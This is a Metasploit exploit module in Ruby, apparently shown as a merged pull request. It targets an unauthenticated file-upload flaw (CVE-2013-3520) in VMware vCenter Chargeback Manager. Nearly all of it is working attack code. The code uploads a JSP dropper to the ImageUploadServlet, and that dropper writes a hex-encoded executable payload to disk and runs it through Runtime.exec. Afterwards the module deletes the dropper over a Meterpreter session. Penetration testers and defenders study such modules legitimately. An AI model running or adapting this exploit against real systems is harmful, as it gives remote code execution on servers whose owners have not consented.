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Land #2124 - VMware vCenter Chargeback Manager Arbitrary File Upload
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modules/exploits/windows/http/vmware_vcenter_chargeback_upload.rb
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## | ||
# This file is part of the Metasploit Framework and may be subject to | ||
# redistribution and commercial restrictions. Please see the Metasploit | ||
# web site for more information on licensing and terms of use. | ||
# http://metasploit.com/ | ||
## | ||
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require 'msf/core' | ||
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class Metasploit3 < Msf::Exploit::Remote | ||
Rank = ExcellentRanking | ||
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HttpFingerprint = { :pattern => [ /Apache.*Win32/ ] } | ||
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include Msf::Exploit::Remote::HttpClient | ||
include Msf::Exploit::EXE | ||
include Msf::Exploit::FileDropper | ||
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def initialize(info = {}) | ||
super(update_info(info, | ||
'Name' => 'VMware vCenter Chargeback Manager ImageUploadServlet Arbitrary File Upload', | ||
'Description' => %q{ | ||
This module exploits a code execution flaw in VMware vCenter Chargeback Manager, | ||
where the ImageUploadServlet servlet allows unauthenticated file upload. The files | ||
are uploaded to the /cbmui/images/ web path, where JSP code execution is allowed. | ||
The module has been tested successfully on VMware vCenter Chargeback Manager 2.0.1 | ||
on Windows 2003 SP2. | ||
}, | ||
'Author' => | ||
[ | ||
'Andrea Micalizzi', # Vulnerability discovery | ||
'juan vazquez' # Metasploit module | ||
], | ||
'License' => MSF_LICENSE, | ||
'References' => | ||
[ | ||
[ 'CVE', '2013-3520' ], | ||
[ 'OSVDB', '94188' ], | ||
[ 'BID', '60484' ], | ||
[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-13-147/' ] | ||
], | ||
'Privileged' => true, | ||
'Platform' => 'win', | ||
'Arch' => ARCH_X86, | ||
'Targets' => | ||
[ | ||
[ 'VMware vCenter Chargeback Manager 2.0.1 / Windows 2003 SP2', { } ] | ||
], | ||
'DefaultOptions' => | ||
{ | ||
'SSL' => true | ||
}, | ||
'DefaultTarget' => 0, | ||
'DisclosureDate' => 'May 15 2013')) | ||
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register_options( | ||
[ | ||
Opt::RPORT(443) | ||
], self.class) | ||
end | ||
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# | ||
# Try to find and delete the jsp if we get a meterpreter. | ||
# | ||
def on_new_session(cli) | ||
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if not @dropper or @dropper.empty? | ||
return | ||
end | ||
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if cli.type != 'meterpreter' | ||
print_error("#{@peer} - Meterpreter not used. Please manually remove #{@dropper}") | ||
return | ||
end | ||
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cli.core.use("stdapi") if not cli.ext.aliases.include?("stdapi") | ||
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begin | ||
print_status("#{@peer} - Searching: #{@dropper}") | ||
files = cli.fs.file.search("\\", @dropper) | ||
if not files or files.empty? | ||
print_error("#{@peer} - Unable to find #{@dropper}. Please manually remove it.") | ||
return | ||
end | ||
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files.each { |f| | ||
print_warning("Deleting: #{f['path'] + "\\" + f['name']}") | ||
cli.fs.file.rm(f['path'] + "\\" + f['name']) | ||
} | ||
print_good("#{@peer} - #{@dropper} deleted") | ||
return | ||
rescue ::Exception => e | ||
print_error("#{@peer} - Unable to delete #{@dropper}: #{e.message}") | ||
end | ||
end | ||
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def upload_file(filename, contents) | ||
post_data = Rex::MIME::Message.new | ||
post_data.add_part(contents, "image/png", nil, "form-data; name=\"#{rand_text_alpha(4+rand(4))}\"; filename=\"#{filename}\"") | ||
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# Work around an incompatible MIME implementation | ||
data = post_data.to_s | ||
data.gsub!(/\r\n\r\n--_Part/, "\r\n--_Part") | ||
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res = send_request_cgi( | ||
{ | ||
'uri' => normalize_uri("cbmui", "ImageUploadServlet"), | ||
'method' => 'POST', | ||
'data' => data, | ||
'ctype' => "multipart/form-data; boundary=#{post_data.bound}", | ||
'cookie' => "JSESSIONID=#{@session}" | ||
}) | ||
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if res and res.code == 200 | ||
return true | ||
else | ||
return false | ||
end | ||
end | ||
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def check | ||
res = send_request_cgi({ | ||
'uri' => normalize_uri("cbmui", "en_US", "themes", "excel", "index.htm"), | ||
}) | ||
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if res and res.code == 200 and res.body =~ /vCenter Chargeback Manager/ | ||
return Exploit::CheckCode::Detected | ||
end | ||
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return Exploit::CheckCode::Safe | ||
end | ||
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def exploit | ||
@peer = "#{rhost}:#{rport}" | ||
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print_status("#{@peer} - Uploading JSP to execute the payload") | ||
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exe = payload.encoded_exe | ||
exe_filename = rand_text_alpha(8) + ".exe" | ||
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# The JSP dropper is needed because there isn't directory traversal, just | ||
# arbitrary file upload to a web path where JSP code execution is allowed. | ||
dropper = jsp_drop_and_execute(exe, exe_filename) | ||
dropper_filename = rand_text_alpha(8) + ".jsp" | ||
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if upload_file(dropper_filename, dropper) | ||
register_files_for_cleanup(exe_filename) | ||
@dropper = dropper_filename | ||
else | ||
fail_with(Exploit::Failure::Unknown, "#{@peer} - JSP upload failed") | ||
end | ||
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print_status("#{@peer} - Executing payload") | ||
send_request_cgi( | ||
{ | ||
'uri' => normalize_uri("cbmui", "images", dropper_filename), | ||
'method' => 'GET' | ||
}) | ||
end | ||
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# This should probably go in a mixin | ||
def jsp_drop_bin(bin_data, output_file) | ||
jspraw = %Q|<%@ page import="java.io.*" %>\n| | ||
jspraw << %Q|<%\n| | ||
jspraw << %Q|String data = "#{Rex::Text.to_hex(bin_data, "")}";\n| | ||
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jspraw << %Q|FileOutputStream outputstream = new FileOutputStream("#{output_file}");\n| | ||
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jspraw << %Q|int numbytes = data.length();\n| | ||
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jspraw << %Q|byte[] bytes = new byte[numbytes/2];\n| | ||
jspraw << %Q|for (int counter = 0; counter < numbytes; counter += 2)\n| | ||
jspraw << %Q|{\n| | ||
jspraw << %Q| char char1 = (char) data.charAt(counter);\n| | ||
jspraw << %Q| char char2 = (char) data.charAt(counter + 1);\n| | ||
jspraw << %Q| int comb = Character.digit(char1, 16) & 0xff;\n| | ||
jspraw << %Q| comb <<= 4;\n| | ||
jspraw << %Q| comb += Character.digit(char2, 16) & 0xff;\n| | ||
jspraw << %Q| bytes[counter/2] = (byte)comb;\n| | ||
jspraw << %Q|}\n| | ||
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jspraw << %Q|outputstream.write(bytes);\n| | ||
jspraw << %Q|outputstream.close();\n| | ||
jspraw << %Q|%>\n| | ||
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jspraw | ||
end | ||
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def jsp_execute_command(command) | ||
jspraw = %Q|<%@ page import="java.io.*" %>\n| | ||
jspraw << %Q|<%\n| | ||
jspraw << %Q|try {\n| | ||
jspraw << %Q| Runtime.getRuntime().exec("chmod +x #{command}");\n| | ||
jspraw << %Q|} catch (IOException ioe) { }\n| | ||
jspraw << %Q|Runtime.getRuntime().exec("#{command}");\n| | ||
jspraw << %Q|%>\n| | ||
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jspraw | ||
end | ||
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def jsp_drop_and_execute(bin_data, output_file) | ||
jsp_drop_bin(bin_data, output_file) + jsp_execute_command(output_file) | ||
end | ||
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end |